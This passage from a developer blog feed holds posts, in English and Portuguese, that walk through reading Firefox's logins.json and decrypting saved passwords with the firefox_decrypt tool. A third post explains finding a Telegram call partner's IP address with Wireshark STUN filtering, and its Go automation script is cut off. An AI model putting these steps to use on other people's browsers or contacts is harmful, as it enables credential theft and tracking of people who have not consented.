    &lt;/span&gt;&lt;span class="nl"&gt;"lastSync"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1689961704.49&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"syncID"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MDoEEPgAAoZIhvcNAwAAAAAAAAAAA03210x,mmmAAAAAoZIhvcNAwEwFAYIKoZIhvcNAwcECD42iieWPdOhBBAjVsIqtcbz7b/ttYPhb2D0ZI63"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;


&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This file contains the information needed to recover the passwords saved in the browser.&lt;/p&gt;

&lt;h2&gt;
  
  
  Identification of Encryption and Security Library
&lt;/h2&gt;

&lt;p&gt;To ensure security, the username and password are encrypted using a cryptographic standard called PKCS #11 (Public-Key Cryptography Standards #11). This standard defines a standard interface for accessing cryptographic devices, such as smart cards and USB tokens, making cryptographic operations secure and protecting sensitive information.&lt;/p&gt;

&lt;p&gt;Firefox adopts this standard through the NSS library, which has different names depending on the operating system:&lt;/p&gt;

&lt;p&gt;Windows:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

nss3.dll


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Mac OS X El Capitan:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

libnss3.dylib


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Linux:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

libnss3.so


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;These libraries are essential for the password decryption process.&lt;/p&gt;

&lt;h2&gt;
  
  
  Decrypting the Passwords
&lt;/h2&gt;

&lt;p&gt;Now, let’s move on to the decryption step! To do this, we need to follow these steps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Clone the repository containing the code required for decryption:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

git clone git@github.com:unode/firefox_decrypt.git


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;Run the code, providing the path to the folder containing the Firefox files:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

python firefoxy_decrypt.py /home/higor/.mozilla/firefox/cwprco4r.default-esr


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;The expected result will be the display of the saved passwords’ information:&lt;/li&gt;
&lt;/ul&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

&lt;p&gt;Website:   &lt;a href="https://example.website.net" rel="noopener noreferrer"&gt;https://example.website.net&lt;/a&gt;&lt;br&gt;
Username: &lt;span class="s1"&gt;'&lt;a href="mailto:higor@gmail.com"&gt;higor@gmail.com&lt;/a&gt;'&lt;/span&gt;&lt;br&gt;
Password: &lt;span class="s1"&gt;'teste#123'&lt;/span&gt;&lt;/p&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  Conclusion&lt;br&gt;
&lt;/h2&gt;

&lt;p&gt;Saving passwords in the browser can be extremely convenient, saving time and effort when accessing our accounts. However, it’s essential to be cautious and follow good security practices. Avoid using public computers to access important accounts and never share your passwords with others.&lt;/p&gt;

&lt;p&gt;I hope this article has been useful and informative!&lt;/p&gt;

&lt;p&gt;Keep following us for more content on technology, cybersecurity, and other interesting subjects.&lt;/p&gt;

&lt;p&gt;Until next time!&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://medium.com/geekculture/how-to-hack-firefox-passwords-with-python-a394abf18016" rel="noopener noreferrer"&gt;https://medium.com/geekculture/how-to-hack-firefox-passwords-with-python-a394abf18016&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>python</category>
      <category>programming</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Desvendando a criptografia do Firefox e resgatando senhas salvas!</title>
      <dc:creator>Higor Diego</dc:creator>
      <pubDate>Sat, 22 Jul 2023 21:56:41 +0000</pubDate>
      <link>https://forem.com/higordiego/desvendando-a-criptografia-do-firefox-e-resgatando-senhas-salvas-51a0</link>
      <guid>https://forem.com/higordiego/desvendando-a-criptografia-do-firefox-e-resgatando-senhas-salvas-51a0</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwvxp7efmr6x2qme3y8k.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwvxp7efmr6x2qme3y8k.jpg" alt="FirefoxDecrypt"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Quem nunca aproveitou aquela funcionalidade incrível do navegador para economizar tempo e evitar o estresse de lembrar todas as senhas dos diversos sites em que estamos cadastrados? Com tantos perfis diferentes para gerenciar atualmente, essa comodidade se tornou uma verdadeira mão na roda!&lt;/p&gt;

&lt;p&gt;No entanto, é normal que surjam algumas dúvidas sobre a segurança desse processo, afinal, estamos confiando informações sensíveis nas mãos do navegador. Mas não se preocupe, vamos desvendar juntos como o Firefox lida com esse aspecto tão importante.&lt;/p&gt;

&lt;p&gt;Neste artigo, mergulharemos mais fundo no funcionamento do Firefox e como ele armazena nossas senhas. Será que essa prática é realmente segura? Vamos entender melhor como nossos dados são tratados e, assim, nos sentirmos mais tranquilos ao utilizar essa comodidade do navegador.&lt;/p&gt;

&lt;h2&gt;
  
  
  Encontrando o local de armazenamento
&lt;/h2&gt;

&lt;p&gt;Nesta seção, vamos descobrir onde fica a pasta que armazena os dados do Firefox no seu perfil padrão. Esse local pode variar dependendo da sua plataforma. Confira abaixo os caminhos:&lt;/p&gt;

&lt;p&gt;Windows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;C:/Users/&amp;lt;username&amp;gt;/AppData/Roaming/Mozilla/Firefox
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mac OS X El Capitan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;~/Library/Application Support/Firefox
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Linux:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;~/.mozilla/firefox
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ao executar em seu computador, lembre-se de substituir  pelo nome de usuário da sua máquina. Essas informações serão úteis para o processo de recuperação das senhas, que veremos em detalhes adiante.&lt;/p&gt;

&lt;p&gt;Agora, entrando na pasta específica, iremos listar os conteúdos para identificar o arquivo importante para a nossa ação:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;cwprco4r.default-esr &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-lah&lt;/span&gt; 
...
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt;  1 higor higor 2,5K jul 22 09:30 logins.json
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Acima temos o arquivo importante para nossa ação o restante dos arquivos que contêm nessa pasta não são importantes para ação desse artigo.&lt;/p&gt;

&lt;p&gt;Realizando um comando de leitura como &lt;code&gt;cat logins.json&lt;/code&gt;, iremos ter a seguinte a saída.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"nextId"&lt;/span&gt;: 3,
  &lt;span class="s2"&gt;"logins"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"id"&lt;/span&gt;: 1,
      &lt;span class="s2"&gt;"hostname"&lt;/span&gt;: &lt;span class="s2"&gt;"chrome://FirefoxAccounts"&lt;/span&gt;,
      &lt;span class="s2"&gt;"httpRealm"&lt;/span&gt;: &lt;span class="s2"&gt;"Firefox Accounts credentials"&lt;/span&gt;,
      &lt;span class="s2"&gt;"formSubmitURL"&lt;/span&gt;: null,
      &lt;span class="s2"&gt;"usernameField"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
      &lt;span class="s2"&gt;"passwordField"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
      &lt;span class="s2"&gt;"encryptedUsername"&lt;/span&gt;: &lt;span class="s2"&gt;"MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYJITKoZIhvcNabAwcE7x8cECOMFrk7xgPbEBBjqYBBzCDYxqHeHziM1jV/M7lzxfYpY3os="&lt;/span&gt;,
      &lt;span class="s2"&gt;"encryptedPassword"&lt;/span&gt;: &lt;span class="s2"&gt;"MIIDdAQQ+AAAAAAAAAAAAAAAAAAAATAUBggqhkiG9w0gc2aae45DBwQISyY0ItSG+VQEgat1gNIkM7/xitAyu7BaD8YvkZ3GUfbfsUxGkTJyZwKFyQVjnwVlBgUmrC84lSycKkzdoeDsX2VFQoka90izrJ7gwxSlCbXX8DotPYjNGZEjIOKuODsxbXHEen7m/UIh0UqkKKtkQeU9OxG3vViGrPJgZs2kLpJtpX3YEVGbgHig6orJtZtjfkSfB2CTpaSsGDHJBsKwFt1wUYOp8NdQPndrRcTZ3kF9if93rDhfxlgkpePGYYl3NkgQIu6jJ76hOLYeEh0Mm7mCIHa/jiKwUHtU6xVxc3OMX0BY/E0jCeN6NMuxC44HgPhjkKqMGaKBNxp/SdMO7a2L3dPw0pndkKhx5XweylFU4KBcrRJSWzAPbHsRQ5gOg4umn6R+idKJpp3UbBovlte4fWOJyk+2hSLabKdHvOX82D5Hbg03ThOI62uXyVsAqmAxgLUsIAh9kRxA2MyfwnD5OVF4lBCQzEmPVTGfs8mi196WxYXJekC2Bn4ARH1rZlJo7c6bsGBcw5dRx5QqGmOrYYhSUr1+B9onLV+Ja1n+G8dNXGq3803+nSAcLZOBzq3YxB0+dJ/o4S9M+jNZChnDiJ3LF2JXIqKY5MnIw7sFrI0y1YTvEUWeVrGAGh3vDqBVOtlznx7G4VdX92nGjwuHDfH07QDXplVYbjthIvRN6Ykm+MLGoTY84kWuGkqpczeXtUQp3P5/JziUVCePdoaJhwU4JATpNXy25PNcgprW2SFQ4L/jCJ3L9JL9P+XRSZ3nVzDqm+xVLqWQVmda1fDWAAkmRmzPaDF+M5hXTM4NVJy8DbLrQislKsBWcw1GUCZNe0ja4019vXkUqV0LhAa7EnoidgoxBPVCUw0/37/2lAGURMdo5Q6dujWtku6fMhlsr7SVtVTaxnK9jZnkhqb2H8qhW4aoajHeym9EpKYKsqlraragGT8Cn7NmQs7BTicEQwvOYP+oUEFAcXYIX1yE/3zmQSH29QfkeobX1PcwaIRuct6hf8IG13TjOQe/K5k6UJep9XTEpUpfW7dWcipRLnXKXK+pSBwpj1WYHpYG7+qdSmf/85YiexedTWk5px/9DyH1RlqH7UT4Uern4ynEOBJcys9InNFGRiBhvQtvXclBanP"&lt;/span&gt;,
      &lt;span class="s2"&gt;"guid"&lt;/span&gt;: &lt;span class="s2"&gt;"{a2eb5150-685d-4615-a254-1c5dd58bee56}"&lt;/span&gt;,
      &lt;span class="s2"&gt;"encType"&lt;/span&gt;: 1,
      &lt;span class="s2"&gt;"timeCreated"&lt;/span&gt;: 1689961688625,
      &lt;span class="s2"&gt;"timeLastUsed"&lt;/span&gt;: 1689961688625,
      &lt;span class="s2"&gt;"timePasswordChanged"&lt;/span&gt;: 1689961698732,
      &lt;span class="s2"&gt;"timesUsed"&lt;/span&gt;: 1
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"id"&lt;/span&gt;: 2,
      &lt;span class="s2"&gt;"hostname"&lt;/span&gt;: &lt;span class="s2"&gt;"https://example.website.net"&lt;/span&gt;,
      &lt;span class="s2"&gt;"httpRealm"&lt;/span&gt;: null,
      &lt;span class="s2"&gt;"formSubmitURL"&lt;/span&gt;: &lt;span class="s2"&gt;"https://example.website.net"&lt;/span&gt;,
      &lt;span class="s2"&gt;"usernameField"&lt;/span&gt;: &lt;span class="s2"&gt;"EmailAddress"&lt;/span&gt;,
      &lt;span class="s2"&gt;"passwordField"&lt;/span&gt;: &lt;span class="s2"&gt;"Password"&lt;/span&gt;,
      &lt;span class="s2"&gt;"encryptedUsername"&lt;/span&gt;: &lt;span class="s2"&gt;"MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcE7x8cECOMFrk7xgPbEBBjqYBBzCDYxqHeHziM1jV/M7lzxfYpY3os="&lt;/span&gt;,
      &lt;span class="s2"&gt;"encryptedPassword"&lt;/span&gt;: &lt;span class="s2"&gt;"MFIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcvcrBCiECFZc/kfDKvcrBCinGLow37uiKmg7K83IUGntneBODTMeV1jMrg95p3sCQzSknnBdG2ef"&lt;/span&gt;,
      &lt;span class="s2"&gt;"guid"&lt;/span&gt;: &lt;span class="s2"&gt;"{f0459b50-b0fe-4512-a085-e94e72319579}"&lt;/span&gt;,
      &lt;span class="s2"&gt;"encType"&lt;/span&gt;: 1,
      &lt;span class="s2"&gt;"timeCreated"&lt;/span&gt;: 1687392175539,
      &lt;span class="s2"&gt;"timeLastUsed"&lt;/span&gt;: 1689971142811,
      &lt;span class="s2"&gt;"timePasswordChanged"&lt;/span&gt;: 1687392175539,
      &lt;span class="s2"&gt;"timesUsed"&lt;/span&gt;: 2
    &lt;span class="o"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;]&lt;/span&gt;,
  &lt;span class="s2"&gt;"potentiallyVulnerablePasswords"&lt;/span&gt;: &lt;span class="o"&gt;[]&lt;/span&gt;,
  &lt;span class="s2"&gt;"dismissedBreachAlertsByLoginGUID"&lt;/span&gt;: &lt;span class="o"&gt;{}&lt;/span&gt;,
  &lt;span class="s2"&gt;"version"&lt;/span&gt;: 3,
  &lt;span class="s2"&gt;"sync"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"lastSync"&lt;/span&gt;: 1689961704.49,
    &lt;span class="s2"&gt;"syncID"&lt;/span&gt;: &lt;span class="s2"&gt;"MDoEEPgAAoZIhvcNAwAAAAAAAAAAA03210x,mmmAAAAAoZIhvcNAwEwFAYIKoZIhvcNAwcECD42iieWPdOhBBAjVsIqtcbz7b/ttYPhb2D0ZI63"&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Esse arquivo contém as informações necessárias para recuperarmos as senhas salvas no navegador.&lt;/p&gt;

&lt;h2&gt;
  
  
  Identificação de criptografia e biblioteca de segurança
&lt;/h2&gt;

&lt;p&gt;Para garantir a segurança, o nome de usuário e senha são criptografados usando um padrão de criptografia chamado PKCS #11 (Public-Key Cryptography Standards #11). Esse padrão define uma interface padrão para acessar dispositivos criptográficos, como cartões inteligentes e tokens USB, tornando as operações criptográficas seguras e protegendo informações sensíveis.&lt;/p&gt;

&lt;p&gt;O Firefox adota esse padrão por meio da biblioteca NSS, que possui diferentes nomes dependendo do sistema operacional:&lt;/p&gt;

&lt;p&gt;Windows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nss3.dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mac OS X El Capitan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;libnss3.dylib
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Linux:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;libnss3.so
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Essas bibliotecas são essenciais para o processo de descriptografia das senhas.&lt;/p&gt;

&lt;h2&gt;
  
  
  Descriptografando as Senhas
&lt;/h2&gt;

&lt;p&gt;Agora, vamos ao passo de descriptografia! Para isso, precisamos seguir os seguintes passos:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Clone o repositório contendo o código necessário para a descriptografia:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone git@github.com:unode/firefox_decrypt.git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Execute o código, informando o caminho para a pasta que contém os arquivos do Firefox:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python firefoxy_decrypt.py /home/higor/.mozilla/firefox/cwprco4r.default-esr

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O resultado esperado será a exibição das informações das senhas salvas no navegador:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Website:   https://example.website.net
Username: &lt;span class="s1"&gt;'higor@gmail.com'&lt;/span&gt;
Password: &lt;span class="s1"&gt;'teste#123'&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusão
&lt;/h2&gt;

&lt;p&gt;Guardar senhas no navegador pode ser extremamente prático, economizando tempo e esforço na hora de acessar nossas contas. No entanto, é fundamental ser cuidadoso e seguir boas práticas de segurança. Evite usar computadores públicos para acessar contas importantes e nunca compartilhe suas senhas com terceiros.&lt;/p&gt;

&lt;p&gt;Espero que este artigo tenha sido útil e informativo!&lt;/p&gt;

&lt;p&gt;Continue nos acompanhando para mais conteúdos sobre tecnologia, segurança cibernética e outros assuntos interessantes.&lt;/p&gt;

&lt;p&gt;Até a próxima!&lt;/p&gt;

&lt;h2&gt;
  
  
  Referências
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://medium.com/geekculture/how-to-hack-firefox-passwords-with-python-a394abf18016" rel="noopener noreferrer"&gt;https://medium.com/geekculture/how-to-hack-firefox-passwords-with-python-a394abf18016&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>python</category>
      <category>programming</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>How to discover the user’s IP address using Telegram.</title>
      <dc:creator>Higor Diego</dc:creator>
      <pubDate>Thu, 08 Jun 2023 15:42:59 +0000</pubDate>
      <link>https://forem.com/higordiego/how-to-discover-the-users-ip-address-using-telegram-4o59</link>
      <guid>https://forem.com/higordiego/how-to-discover-the-users-ip-address-using-telegram-4o59</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkn2v61jvgtnh8ca689e2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkn2v61jvgtnh8ca689e2.png" alt="Ip find telegram" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you've ever wondered how messaging apps like Telegram and WhatsApp work behind the scenes of your conversations, this article is for you. We'll explore a method to discover the IP address of the user we're interacting with on Telegram, using the powerful network traffic analysis tool Wireshark.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Downloading Wireshark&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before we begin, you need to download and install Wireshark on your computer. You can find the download on the official Wireshark website.&lt;/p&gt;

&lt;p&gt;Make sure to choose the version that is compatible with your operating system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Filtering STUN Traffic&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After opening Wireshark, you'll see an interface capturing real-time network traffic. Let's filter the STUN traffic, which is the protocol used by Telegram for communication.&lt;br&gt;
In the filter bar, click on the search icon to open the search option. Then select the "String" option and type "XOR-MAPPED-ADDRESS" in the search line.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Initiating Data Capture&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Now, we're ready to start capturing data. Ensure Wireshark is running and make a call via Telegram to the user whose IP address you want to discover.&lt;br&gt;
Once the user answers the call, Wireshark will start displaying the captured data. Look through the list for information related to the STUN protocol, and you'll find the IP address of the user who received the call.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4: Identifying the IP Address&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To easily identify the desired IP address, use the Wireshark search function. Click on the "Find" option and type "XOR-MAPPED-ADDRESS" in the search line. The user's IP address will immediately appear after that string.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Automating with Golang&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Using the Golang programming language, we can automate the entire process described above. Below is a Golang code that performs this task efficiently and reliably:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;

&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s"&gt;"fmt"&lt;/span&gt;
    &lt;span class="s"&gt;"log"&lt;/span&gt;
    &lt;span class="s"&gt;"os"&lt;/span&gt;
    &lt;span class="s"&gt;"os/exec"&lt;/span&gt;
    &lt;span class="s"&gt;"strings"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;CAP_PATH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"/tmp/tg_cap.pcap"&lt;/span&gt; &lt;span class="c"&gt;// Temporary path for pcap capture file&lt;/span&gt;
    &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;CAP_TEXT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"/tmp/tg_text.txt"&lt;/span&gt; &lt;span class="c"&gt;// Temporary path for text file with information&lt;/span&gt;
    &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;CAP_DURATION&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"5"&lt;/span&gt;            &lt;span class="c"&gt;// Capture duration in seconds&lt;/span&gt;

    &lt;span class="c"&gt;// Get the external IP address of the device&lt;/span&gt;
    &lt;span class="n"&gt;ipCmd&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"curl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"-s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"icanhazip.com"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;ipOutput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;ipCmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Failed to get IP address:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;MY_IP&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TrimSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ipOutput&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="c"&gt;// Check if Wireshark is installed&lt;/span&gt;
    &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LookPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"tshark"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[-] Wireshark not found. Try installing Wireshark first."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Debian-based: sudo apt-get install -y tshark"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] RedHat-based: sudo yum install -y tshark"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Discovering User's IP Address on Telegram using Golang"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
